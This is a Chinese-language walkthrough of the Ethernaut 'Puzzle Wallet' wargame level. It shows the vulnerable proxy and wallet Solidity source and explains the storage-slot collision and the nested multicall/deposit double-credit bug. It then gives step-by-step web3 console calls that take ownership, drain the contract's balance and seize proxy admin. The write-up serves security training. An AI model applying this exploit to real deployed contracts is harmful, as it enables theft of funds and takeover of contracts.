Skip to main content

Puzzle Wallet

题目源码

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;

import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/proxy/UpgradeableProxy.sol";

contract PuzzleProxy is UpgradeableProxy {
address public pendingAdmin;
address public admin;

constructor(address _admin, address _implementation, bytes memory _initData) UpgradeableProxy(_implementation, _initData) public {
admin = _admin;
}

modifier onlyAdmin {
require(msg.sender == admin, "Caller is not the admin");
_;
}

function proposeNewAdmin(address _newAdmin) external {
pendingAdmin = _newAdmin;
}

function approveNewAdmin(address _expectedAdmin) external onlyAdmin {
require(pendingAdmin == _expectedAdmin, "Expected new admin by the current admin is not the pending admin");
admin = pendingAdmin;
}

function upgradeTo(address _newImplementation) external onlyAdmin {
_upgradeTo(_newImplementation);
}
}

contract PuzzleWallet {
using SafeMath for uint256;
address public owner;
uint256 public maxBalance;
mapping(address => bool) public whitelisted;
mapping(address => uint256) public balances;

function init(uint256 _maxBalance) public {
require(maxBalance == 0, "Already initialized");
maxBalance = _maxBalance;
owner = msg.sender;
}

modifier onlyWhitelisted {
require(whitelisted[msg.sender], "Not whitelisted");
_;
}

function setMaxBalance(uint256 _maxBalance) external onlyWhitelisted {
require(address(this).balance == 0, "Contract balance is not 0");
maxBalance = _maxBalance;
}

function addToWhitelist(address addr) external {
require(msg.sender == owner, "Not the owner");
whitelisted[addr] = true;
}

function deposit() external payable onlyWhitelisted {
require(address(this).balance <= maxBalance, "Max balance reached");
balances[msg.sender] = balances[msg.sender].add(msg.value);
}

function execute(address to, uint256 value, bytes calldata data) external payable onlyWhitelisted {
require(balances[msg.sender] >= value, "Insufficient balance");
balances[msg.sender] = balances[msg.sender].sub(value);
(bool success, ) = to.call{ value: value }(data);
require(success, "Execution failed");
}

function multicall(bytes[] calldata data) external payable onlyWhitelisted {
bool depositCalled = false;
for (uint256 i = 0; i < data.length; i++) {
bytes memory _data = data[i];
bytes4 selector;
assembly {
selector := mload(add(_data, 32))
}
if (selector == this.deposit.selector) {
require(!depositCalled, "Deposit can only be called once");
// Protect against reusing msg.value
depositCalled = true;
}
(bool success, ) = address(this).delegatecall(data[i]);
require(success, "Error while delegating call");
}
}
}

题目要求

这道题目要求获取PuzzleProxy合约的admin权限

题目分析

这个题目主要参考了网上大神的解法,实在叹服!: 24 Puzzle Wallet

PuzzleProxy是代理合约,PuzzleWallet是具体实现合约。PuzzleWallet是通过Proxy合约部署。PuzzleWallet里面的方法是Proxy合约通过delegatecall来调用。 部署完返回的合约实例是PuzzleProxy合约的地址。升级实现合约以后,代理合约地址保持不变。 由于PuzzleWallet的方法调用是PuzzleProxy合约通过delegatecall来调用实现。所以PuzzleWallet合约的状态变量布局与PuzzleProxy保持一致.所以pendingAdminowner是同一个slot存储变量。 我们通过修改PuzzleProxy合约的pendingAdmin即是在修改PuzzleWallet合约的owner

由于题目中实例合约部署后,控制台使用了PuzzleWallet的 ABI,所以我们想要调用PuzzleProxy的方法,需要重新实例化PuzzleProxy合约的 ABI,合约地址即控制台提供的instance地址

想要修改Proxy中的admin,就需要调用setMaxBalance来覆盖admin对应的slot 想要调用setMaxBalance,就需要将PuzzleWallet的余额清空,设置为 0 因为execute方法只能取走我们账号deposit到合约的资金,无法取走初始化时合约里本来有的 ETH, 我们需要通过调用multicall方法来重入攻击deposit方法,实现只转 1 笔钱,却能记录两次入账操作。由于multicall方法中有depositCalled只允许调用一次的限制。所以不能简单的递归调用multicall来实现。但是我们可以通过入参data传入[deposit(),multicall([deposit()])]的方式绕开depositCalled检查限制

攻击步骤

  1. 通过remix等其他攻击编译出PuzzleProxy合约的 ABI
  2. 实例化PuzzleProxy合约,修改pendingAdmin
const proxy = new web3.eth.Contract(ABI,instance)
// 调用proposeNewAdmin方法修改pendingAdmin
await proxy.methods.proposeNewAdmin(player).send({from: player})
// 检查PuzzleWallet合约的owner是否已经替换为player了
await contract.owner()
  1. player添加到白名单

上一步将player设置成了owner,现在就可以将player添加到whitelisted

await contract.addToWhitelist(player)
  1. PuzzleWallet合约的余额全部转走,设置为 0 获取deposit()multicall([deposit()])的签名信息
let depositData = await contract.methods["deposit()"].request().then(v => v.data)
let multicallData = await contract.methods["multicall(bytes[])"].request([depositData]).then(v => v.data)
await contract.multicall([depositData,multicallData],{value: toWei('0.001')})
// 取走合约中的余额
await contract.execute(player,'2000000000000000','0x')
// 检查合约中的余额
await web3.eth.getBalance(instance)
  1. 调用setMaxBalance,相当于设置Proxy合约的admin
await contract.setMaxBalance(player)